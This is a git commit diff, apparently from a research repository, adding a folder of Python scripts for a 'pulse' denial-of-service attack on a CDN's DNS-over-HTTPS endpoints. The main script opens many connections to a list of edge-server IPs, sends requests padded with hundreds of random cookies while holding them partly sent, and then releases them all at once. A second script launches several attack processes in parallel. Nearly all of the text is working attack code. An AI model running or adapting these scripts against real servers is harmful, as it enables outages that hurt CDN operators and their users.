diff options
| author | “shihaoyue” <“[email protected]”> | 2024-09-30 15:52:30 +0800 |
|---|---|---|
| committer | “shihaoyue” <“[email protected]”> | 2024-09-30 15:52:30 +0800 |
| commit | 96107bbdcdb1236425ce589bd15980d6ebab4d50 (patch) | |
| tree | a910d540f26402e05dfdcc076eee14d36eb04455 /6_dot_DDoS | |
| parent | 0c6dfbed508d6d4044c465c416cdb9e48ede5f69 (diff) | |
first commit
Diffstat (limited to '6_dot_DDoS')
| -rw-r--r-- | 6_dot_DDoS/att_pending_cookie.py | 127 | ||||
| -rw-r--r-- | 6_dot_DDoS/start_pending.py | 20 | ||||
| -rw-r--r-- | 6_dot_DDoS/脉冲拒绝服务.pdf | bin | 0 -> 178358 bytes |
3 files changed, 147 insertions, 0 deletions
diff --git a/6_dot_DDoS/att_pending_cookie.py b/6_dot_DDoS/att_pending_cookie.py new file mode 100644 index 0000000..ce3e4de --- /dev/null +++ b/6_dot_DDoS/att_pending_cookie.py @@ -0,0 +1,127 @@ +import argparse +import http.client +import asyncio +import base64 +import random +import secrets +import string +from collections import Counter +import sys +import time +import requests +import dns.message +import httpx +import gzip +import io +import pandas as pd +import tqdm +from concurrent.futures import ThreadPoolExecutor +import threading +from dns.message import make_query + +def ge_cookie(): + cookie = "" + for i in range(200): + cookie += ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(4, 10)))+\ + "="''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(8, 20)))+"; " + cookie = cookie[:-2] + #print(sys.getsizeof(cookie)/1024) + return cookie + +def send_request(event,url,t,latency,stime): + cookie = ge_cookie() + headers = {"content-type": "application/dns-message", + "accept": "application/dns-message", + "Surrogate-Control": "max-age=0", "Cache-Control": "max-age=0", + "Cookie":cookie} + message = dns.message.make_query(base64.b64encode(url.encode("utf-8")).decode("utf-8") + + ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))+ ".google.com", "A") + message.flags |= dns.flags.RD + dns_req = base64.b64encode(message.to_wire()).decode("UTF8").rstrip("=") + # time.sleep(t*2) + conn = http.client.HTTPConnection(url, port=80) + + + #time.sleep(3) + body = ','.join([f'{name}: {value}' for name, value in headers.items()]) + request_line = "GET /dns-query?dns=" + f"{dns_req} HTTP/1.1\r\n" + conn.send(request_line.encode()) + headers0 = {'host': 'www.doeresearch.site'} + headers0 = ''.join([f'{name}: {value}\r\n' for name, value in headers0.items()]) + conn.send(headers0.encode()) + + #time.sleep(10) + #body = str(make_query(qname="baidu.com", rdtype="A", want_dnssec=False)) + #print(body) + #print(len(body)) + chunk_size = 20 # 每个块的大小 + for i in range(0, len(body), chunk_size): + #print(i,'------------------') + chunk = body[i:i + chunk_size] + conn.send(f'{chunk}'.encode()) + start_time = time.perf_counter() + while time.perf_counter() - start_time < 0.002: + pass + # print('P') + conn.send(b'\r\n') + # 发送结束标志 + #print(url, t, 'pending') + desired_time = latency / 2000 # 将毫秒转换为秒 + #conn.close() + #time.sleep(10) + event.wait() + # start_time = time.perf_counter() + # while time.perf_counter() - start_time < desired_time: + # pass + #conn.send(b'0\r\n\r\n') + conn.send(b'\r\n') + # Get the response + #response = conn.getresponse() + # print(response.status, response.reason) + #print(response.read()) + # print(dns.message.from_wire(response.read())) + + #conn.close() + +if __name__ == '__main__': + parser = argparse.ArgumentParser() + parser.add_argument('-stime', '--stime') + parser.add_argument('-round', '--round',default=10) + parser.add_argument('-wait', '--wait',default=180) + args = parser.parse_args() + + + path = '/root/Nora/cdn/' + #path = 'D:\Volumes\调研\项目\YYDNS\GJ\DDOS/' + df = pd.read_csv(path+'fastly_att.csv',nrows=64) + data = df.set_index('ip')['latency'].to_dict() + event = threading.Event() + s_time = time.time() + #stime = time.perf_counter() + stime = float(args.stime) + round = int(args.round) + wait_time = int(args.wait) + threads = [] + for i in range(round): + for ip, latency in data.items(): + t = threading.Thread(target=send_request, args=(event,ip, i, latency,stime)) + t.start() + threads.append(t) + #time.sleep(latency) + start_time = time.perf_counter() + # while time.perf_counter() - start_time < 0.1: + # pass + print('all waiting') + while time.perf_counter() - stime < wait_time: + pass + # 触发事件,同时释放所有线程 + event.set() + # 等待所有线程完成 + for t in threads: + t.join() + print('ATT over:',time.time() - s_time) + #for i in tqdm.tqdm(range(1000)): + #send_request("151.101.76.204",0,0,0) + + + diff --git a/6_dot_DDoS/start_pending.py b/6_dot_DDoS/start_pending.py new file mode 100644 index 0000000..5e7edf0 --- /dev/null +++ b/6_dot_DDoS/start_pending.py @@ -0,0 +1,20 @@ +import os +import argparse +import time + +parser = argparse.ArgumentParser() +parser.add_argument('-n', '--n', default=3) +parser.add_argument('-round', '--round', default=5) +parser.add_argument('-wait', '--wait', default=150) +args = parser.parse_args() +stime = time.perf_counter() +round = int(args.round) +wait_time = int(args.wait) +for i in range(int(args.n)): + #print(f"python3 cve44487.py -s {i}") + os.popen(f"python att_pending_cookie.py -stime {stime} -round {round} -wait {wait_time}") +while True: + current_time = time.perf_counter() + elapsed_time = current_time - stime + print(f"经过的时间:{elapsed_time:.2f}秒", end="\r") + time.sleep(1) # 暂停一秒钟
\ No newline at end of file diff --git a/6_dot_DDoS/脉冲拒绝服务.pdf b/6_dot_DDoS/脉冲拒绝服务.pdf Binary files differnew file mode 100644 index 0000000..9f938c9 --- /dev/null +++ b/6_dot_DDoS/脉冲拒绝服务.pdf |
